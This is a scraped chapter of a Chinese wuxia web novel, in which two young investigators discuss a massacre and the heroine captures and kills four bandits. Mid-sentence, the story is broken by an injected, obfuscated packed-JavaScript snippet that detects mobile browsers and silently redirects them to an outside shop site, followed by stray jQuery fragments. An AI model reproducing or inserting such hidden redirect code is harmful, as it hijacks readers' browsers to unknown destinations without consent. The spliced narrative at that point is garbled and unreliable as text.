文趣网 > 其他小说 > 快雪时晴 > 8. 第八章 月明
    等施为告别钟叔,走出六扇门的时候,皎洁的明月已经升起。

    林照正在专心画一轮明月。

    要画月,自然不能只画月。她要画摇曳的金桂,疏淡的流云,仿佛有风透过纸背。

    明月藏在枝桠间,原本圆满的形状被割成了破镜的模样。

    但月光柔和,皎皎依旧。

    施为忍不住看痴了,自己的心境好像借林照的妙笔,通通落于纸上。

    “如何?这画送你了,就当是中秋贺礼。”林照用笔杆轻轻戳了一下施为的脸蛋。

    施为回过神来,对上了一双月光般澄澈的眼睛。

    眼前的女子一手撑着头,正静静地看着自己,案上的烛光散发着温暖的光晕,照亮了她姣好的面容。

    “我......”施为正要说些什么,却被林照打断了。

    “不过,这画可不免费。你得请我吃顿晚饭。”

    施为轻轻笑了,这是他多日来最抒怀的一个笑容。没有猜忌,没有防备,没有仇恨。“好,随你挑。”

    “方公子大气!”林照笑眼弯弯,“我想吃醉仙楼的蟹粉豆腐和蟹黄面了!走吧走吧,去晚了可就没有二楼雅座了。”

    林照自然地挽起了施为的胳膊,往应天街外走去,施为犹豫道:“可你的摊位还没收......”

    “天大地大,吃饭最大,更何况,我的摊就摆在官府门口,不会有事的。”

    林照一心惦记着螃蟹,没发现施为红透了的耳根。

    幸好,有她在。这个中秋,也不是独自一人了。

    施为看着她在夜市里蹦蹦跳跳地穿行,心头不禁也涌起了几分快意江湖的洒脱心气。

    “你是说,你今天来,是为了加入六扇门?”林照边拆蟹腿,边分心问道。

    坐在对面的施为默默把一碟拆好的蟹腿递了过去,点头道:“没错。家父与六扇门总捕头钟灵有故交,少时我常在钟家玩耍。只不过后来......有了些变故,两家来往才变少了,但逢年过节,钟叔还是会来山庄上探望一二。”

    “什么变故?”

    “此事......说来话长,等以后有机会,我再与你细说。我还有更重要的事要先告诉你。”

    林照见他神色认真,便放下了手中的忙活,不由得专注起来。

    “这么说,你去六扇门其实是为了查施家的案子?”

    施为点头,正色道:“此前我还只是有所怀疑,今日一去,我几乎可以确定,六扇门里一定有问题。其一,凭钟叔与父亲的交情,他今日见到我,必不会绝口不提施家的案子,更何况这案子,本就是划归给了六扇门处理。”

    “其二,我虽然多年未与婶婶见面,可凭我对她的了解,她绝对不是那种为了夫君整日不着家而使小性子的人。”

    “也许她是知道了什么秘密......”林照不禁陷入了沉思。

    施为并不否认,继续道:“其三,六扇门申时放衙,捕快们大多只是为了挣一个饭碗,办差懒散。就算总捕头钟灵习惯晚归,也做不到在深夜集结出一支队伍,那夜出事不久便进了醴泉山庄。”

    “其四。”林照主动补充了疑点,“他今日见到你时毫不意外,想必他那晚清点尸首时早已发现了你不在其中,可他明知道你还活着,却还叫来了石佛寺的明净方丈前去指认,幸好是方丈保下了你,不然他就可以借证人之口,全面搜查你的下落。”

    施为点了点头,面色难看。

    林照浅酌了一口桂花酒,思索起那日在风雨亭见到的六扇门玉佩。六扇门,青魔教,醴泉山庄......林照隐隐觉得,还缺了什么关键的线索。

    “我近来倒是听到不少传言,这案子与传说中的《神龙卷》有关。”

    施为正要回答,余光却看见雅座隔间外走过几个熟悉的身影。化作灰都不会认错,是那四个凶徒。

    原本的心情瞬间烟消云散,施为直勾勾地盯着隔间外。胸中又翻滚起了复仇的黑水。

    林照见状,似有所感。

    只听得隔间外传来四人餍足的声音:“钱老五,你寻的酒楼着实不错!来金陵这些时日,还是头一回吃到这么鲜味的饭菜。”

    “陆兄满意就好,今日不为别的,咱们相聚在此共度中秋,也是修来的缘分!”

    “有些事,也该就此翻篇了!”应和声此起彼伏地响起。

    “今夜,咱们最后一次去......山......庄,一定马到成功!”

    声音渐远,四人醉醺醺地离开了。

    施为举起了筷子,恶狠狠地往嘴里塞了一块水晶肴肉,转移了话题:“我还没问你,你为何要在六扇门门口摆摊?可别再拿傍晚那番话搪塞我。”

    林照失笑,继续剥起了龙眼,随口敷衍道:“我最近看上了一个小捕快,我贪图他美色罢了。”其实是为了调查那天出现在风雨亭里的黑衣人。林照隐隐有直觉,那名字里带“渊”的黑衣人出现在风雨亭,也许并非巧合。

    施为却被呛住了,脸涨得通红,咳了好半天才缓过神来。

    “想不到你竟然是这样的女子......”他小声嘟囔着,心头莫名涌上了一股酸涩。

    林照没听清,也懒得搭理,她正默默盘算着,看来今夜还有事要做。

    面对面坐着的两人各自怀揣着心事,这顿全蟹宴就这样略显沉默地进入了尾声。

    分别之际,施为主动道:“我暂住在如意客栈,你住哪里,我可以送你......”

    “不必了,我还要先回去收拾摊位。明天见啦,方捕快。”林照笑容明快,好像着急赶着要去收摊回家。

    施为有些落寞地笑着挥了挥手,看着她的身影渐渐消失在街角,总感觉哪里空落落的。

    不过,他低头看向手中的画,露出了一抹温暖的笑意。

    这画还没有名字。

    施为默默在心里念道,但愿人长久,千里共婵娟。

    谢谢你,林照。

    金陵城外,南霞山。

    原本说好要收摊回家的林照,此时却步履匆匆,快步走在山道上。

    今夜有不少人放河灯,像一朵朵往生莲,在澧泉里缓缓盛开,又像黑夜里的繁星,与水面上倒映的一轮明月相映成趣,美不胜收。

    林照手中提着霜白,无暇顾及眼前的美景。

    她此行可不是为了赏月。

    夜半三更,南霞山上一片寂静。林照施展轻功,如蜻蜓点水,不发出一丝声响。

    到了,林照悄悄跃上屋檐。

    醴泉山庄内各处传来细细簌簌的翻找声,像是进了一窝老鼠。

    后院里,一只老鼠从书房里跑出,钻入了祠堂。不多时,又与另一只老鼠一起往西面的厢房去了。

    前院应当也有两只。

    林照正如猫捉老鼠一般,蛰伏在檐上,并不急着出手。

    不多时,前院两只老鼠果真探了头,两人交换了位置,各自又去搜索了。

    说时迟那时快,林照轻巧地潜入了其中一间屋内,躲进了一处盲区。

    “这也没有,那也没有,这老狐狸究竟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631603|206375||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    把东西藏哪里去了......”赵二嘀嘀咕咕地抱怨着,丝毫没有察觉危险的降临。

    突然,赵二觉得自己呼吸好像变慢了,脑袋好像变沉了。这房间里的桂花香好像格外浓郁起来,他心道不好,忙捂住了口鼻,可惜为时已晚,身体不听自己使唤地倒了下去。

    小唐新研制的迷药果然好用,林照在心底偷偷夸了一下挚友,随后便如法炮制,把余下三只老鼠一一解决了。

    四人醒来时,只看见一个白衣女子正在柴房里磨剑。她不知从哪里寻来了一块磨刀石,一下,一下,打磨着本就锋利的剑刃。

    四人面面相觑,暗自想要挣脱绳索,却发现使不出一丝内力。

    “都别白费力气了。我已封住了你们的穴道。”

    林照甚至懒得投去眼神,而是满意地看着手中吹毛立断的霜白,轻轻说了一句:“一会儿要委屈你了。”

    四人满腹狐疑,只当她也是想来找《神龙卷》的,互相对了眼神。

    “姑娘,不,女侠,莫非也是为了《神龙卷》而来?可我们也不知道它在哪,你绑了我们也没意义啊。倒不如,我们一同去找,事成之后,秘籍共享,绝不私藏!”钱五信誓旦旦地开口,手却往身后悄悄摸索,试图找到割绳子的器具。

    “谁说我是为了《神龙卷》。”林照终于看向了四人。

    钱五对上她的眼神,心头一震,背后的手竟然慢慢缩了回来。

    “施恩泽,是你们四个杀的?”

    四人心里暗叫不好,只恨这女子行事如此不磊落,竟然不敢堂堂正正寻仇,仿佛全然忘记了他们那天所使的下三滥手段。

    性子最直的陆九忍不住开口道:“是,那又如何!施恩泽私藏武林至宝,不肯拱手让人,我们也是为了......”

    话音未落,柴房里多了一道三尺高的血痕。

    三人目瞪口呆,饶是刀尖舔血混迹江湖多年,也从未经历过这样胆寒的时刻。

    “是谁派你们来的?”霜白剑锋指向了张三。

    张三沉默着一言不发,身旁的钱五为了活命,忍不住抢白道:“是有人告诉了我们《神龙卷》在醴泉山庄,我们才赶来的。女侠饶命,我可没有对施庄主动手,是他!”钱五颤抖着看向张三道:“是他,为了逼问出《神龙卷》的下落,用鞭子把施庄主打得半死不活,最后咽了气!”

    林照举剑,钱五吓得忙闭上了眼睛,听见剑划开血肉的声音,战战兢兢睁开眼,柴房里瞬间又多了一道血痕。

    钱五以为求情有用,竟似是痴傻了一般,冲林照疯狂磕头道:“小的也不知道告诉我们消息的人是谁,女侠饶命啊,我知道的就这么多了!我给您当牛做......”

    下一秒,柴房里便安静了下来。

    赵二哆哆嗦嗦地闭上眼,不敢再看。

    “你还有什么要告诉我的吗?”

    “六扇门。那人,是六扇门的人。我不知道他的身份,他戴着面具,只看见了他腰上别着的玉佩。”

    赵二像是认命了一般,说完便泄了气,瘫软了过去。

    林照面无表情地一剑割喉,拂袖离去。

    明月高悬,云雾见开。她有些累,扶着霜白,蹲下了身。

    林照苍白着脸,神色麻木,扶剑的手轻微颤抖。

    她在心底喃喃说道,师兄,我也不知道这样做是对是错。你不要怪我。至少这样,你也许就可以安息了。

    院子里的金桂慢慢飘落在她肩头,有一缕风轻轻拂过她的脸颊,似乎想要宽慰她。林照却一无所知。